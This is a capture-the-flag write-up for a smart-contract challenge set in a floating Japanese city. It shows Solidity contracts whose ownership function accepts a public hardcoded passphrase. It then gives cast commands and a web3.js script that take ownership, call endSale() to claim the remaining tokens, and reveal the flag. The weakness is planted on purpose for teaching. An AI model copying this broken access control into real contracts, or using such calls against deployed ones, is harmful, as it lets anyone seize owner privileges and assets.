2000 years from now, the earth has seen many wars, and the surface of the earth was forever damaged. Humans had to develop floating cities, the first one was Synthatsu, made by what was left of the Japanese history. Mixing futuristic building with a hint of traditional looks. This town was well known for its close combat weapons. One of the most prized katana maker works in that town. But just yesterday, some thugs named Beyond robbed his shop, and took some of his work!
Will you be able to get them for yourself?
Author: Icarus
Data | Value |
---|---|
Your private key | 0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb |
Your address | 0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85 |
Challenge contract | 0xe7159fA984691B4D06d37eB0b9668a1832D9F31a |
RPC URL | http://worker01.gcc-ctf.com:11861/rpc |
1- Challenge.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./KatanaSale.sol";
contract Challenge{
KatanaSale public katanaSale;
address constant public PLAYER = 0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85;
constructor () payable {
katanaSale = new KatanaSale(10 ether, 100);
}
function isSolved() public view returns(bool){
if(katanaSale.balanceOf(PLAYER) >= 60){
return true;
}
return false;
}
}
2- KatanaSale.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract KatanaSale {
address public beyond;
uint256 public katanaPrice;
uint256 public katanaSold;
string public name = "one-katana";
string public symbol = "KTN";
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
event Sold(address buyer, uint256 amount);
constructor(uint256 _katanaPrice, uint256 _totalSupply) {
beyond = msg.sender;
katanaPrice = _katanaPrice;
totalSupply = _totalSupply;
}
function transfer(address to, uint256 value) external {
require(balanceOf[msg.sender] >= value, "Insufficient balance");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
}
function becomeBeyond(string memory passPhrase) external {
require (keccak256(abi.encode(passPhrase)) == keccak256(abi.encode("I will check out @BeyondBZH and @gcc_ensibs on X")));
beyond = msg.sender;
}
function buyKatana(uint256 _numberOfKatana) external payable {
require(msg.value == _numberOfKatana * katanaPrice, "Incorrect Ether value");
katanaSold += _numberOfKatana;
balanceOf[msg.sender] += _numberOfKatana;
emit Sold(msg.sender, _numberOfKatana);
}
function endSale() external {
require(msg.sender == beyond, "Only a true Beyond can end the sale");
balanceOf[msg.sender] += totalSupply - katanaSold;
}
}
To solve this challenge we need first to be owner of the contract, for that we need to send transaction calling becomeBeyond()
with this string argument I will check out @BeyondBZH and @gcc_ensibs on X
The becomeBeyond() function allows us to become the contract owner, comparing whether the value sent is equal to 'I will check out @BeyondBZH and @gcc_ensibs on X'.
function becomeBeyond(string memory passPhrase) external {
require (keccak256(abi.encode(passPhrase)) == keccak256(abi.encode("I will check out @BeyondBZH and @gcc_ensibs on X")));
beyond = msg.sender;
}
Once we became contract owner, we need to call endSale()
to get all Katanas, let solve it ...
function endSale() external {
require(msg.sender == beyond, "Only a true Beyond can end thesale");
balanceOf[msg.sender] += totalSupply - katanaSold;
}
1- Set variables
## SET VAR
RPC = http://worker01.gcc-ctf.com:11861/rpc
CONTRACT_ADDRESS = 0xe7159fA984691B4D06d37eB0b9668a1832D9F31a
PRIVATE_KEY = 0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb
2- Set Wallet (Add your wallet to cast)
cast wallet import WALLET_1 --private-key $PRIVATE_KEY
3- GET KatanaSale address
## GET CONTRACT ADDRESS
cast call $CONTRACT_ADDRESS "katanaSale()(address)" --rpc-url $RPC
4- Transact with becomeBeyond()
## Transact with becomeBeyond()
cast send --account WALLET_1 --rpc-url $RPC 0xAc7Cd8fB02a4770e1C69debFa66089889623E8c6
"becomeBeyond(string)" "I will check out @BeyondBZH and @gcc_ensibs on X"
5- Transact with endSale()
## transact with endSale()
cast send --account WALLET_1 --rpc-url $RPC 0xAc7Cd8fB02a4770e1C69debFa66089889623E8c6 "endSale()"
const Web3 = require('web3');
const contract_address = '0xAc7Cd8fB02a4770e1C69debFa66089889623E8c6'
const privateKey = '0x6715d324d14e0565ab02a575fa5f74540719ba065a610cba6497cdbf22cd5cdb'
const publicKey = '0xCaffE305b3Cc9A39028393D3F338f2a70966Cb85'
const providerUrl = 'http://worker01.gcc-ctf.com:11861/rpc'
const abi = [...]
// Create web3 instance
const web3 = new Web3(new Web3.providers.HttpProvider(providerUrl));
// Set Wallet
web3.eth.accounts.wallet.add({
privateKey: privateKey,
address: publicKey
});
const contract = new web3.eth.Contract(abi, contract_address)
// Call becomeBeyond()
contract.methods.becomeBeyond("I will check out @BeyondBZH and @gcc_ensibs on X")
.send({from:publicKey, gas:5000000}).then(console.log)
// Call endSale()
contract.methods.endSale("I will check out @BeyondBZH and @gcc_ensibs on X")
.send({from:publicKey, gas:5000000}).then(console.log)
🚩Flag: GCC{All_Kat@na$_AR3_M!Ne_N0w}
This challenge is a great way to understand Web3 and learn how to interact with a smart contract. I have deployed the contract on the Sepolia test network in order to try out this challenge.
KatanaSale contract: sepolia.etherscan.io
Contract address: 0x158087262C2D52b40c287eb5875e1F300d2fc9FC